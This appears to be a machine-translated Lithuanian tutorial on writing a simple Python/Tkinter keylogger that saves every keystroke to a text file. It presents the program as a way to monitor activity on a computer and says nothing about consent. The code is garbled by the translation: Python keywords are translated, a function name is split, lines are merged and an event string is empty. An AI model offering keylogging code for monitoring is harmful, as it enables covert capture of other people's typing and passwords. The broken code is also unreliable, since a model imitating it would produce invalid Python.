Kaip sukurti „Keylogger“ naudojant „Python“.

Moteris prie kompiuterio žiūri per petį

Užfiksuokite klavišų paspaudimus ir išsaugokite juos faile.

Vaizdo kreditas: Jupiterimages/Photos.com/Getty Images

Galite sukurti klaviatūros įrašymo programą naudodami Python, kad užfiksuotumėte kompiuterio klaviatūra įvestus klavišų paspaudimus. Klavišų paspaudimai išsaugomi tekstiniame faile ir įrašo visą įvestį. Norėdami stebėti veiklą kompiuteryje, galite naudoti raktų registratorių.

1 žingsnis

Paleiskite IDLE, spustelėkite meniu „Failas“ ir pasirinkite „Naujas langas“, kad paleistumėte naują langą. Paspauskite Ctrl ir S, kad paleistumėte langą "Išsaugoti kaip". Kaip failo pavadinimą naudokite „getKeyLogger“ ir spustelėkite „Išsaugoti“.

Dienos vaizdo įrašas

2 žingsnis

Pridėkite šią kodo eilutę, kad importuotumėte „Tkinter“ vardų erdvę ir nurodytumėte failo, kurį norite naudoti registruodami, kelią:

importuoti Tkinter kaip tk myFile = open ("C:/temp/keyFile.txt", "w")

3 veiksmas

Nukopijuokite ir įklijuokite šį kodą, kad išsaugotumėte kiekvieną klavišo paspaudimą faile:

def klavišo paspaudimas (įvykis): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

4 veiksmas

Pridėkite šį kodą, kad vartotojas žinotų, kad gali pradėti rašyti ir kad jis gali paspausti Esc, kad baigtų programą:

pagrindinis = tk. Tk() print "Paspauskite bet kurį klavišą ("Escape" klavišas, kad išeitumėte):" main.bind_all('', klavišo paspaudimas) main.withdraw() main.mainloop() myFile.close()

5 veiksmas

Spustelėkite pradžios mygtuką „Windows“ ir laukelyje „Ieškoti programų ir failų“ įveskite „cmd“. Paspauskite Enter, kad atidarytumėte komandų eilutę. Eikite į „C:\Python“ ir įveskite „python getKeyLogger“. Paspauskite Enter, kad paleistumėte programą. Eikite į „C:/temp/“ ir dukart spustelėkite „keyFile.txt“, kad peržiūrėtumėte klavišo paspaudimo duomenis.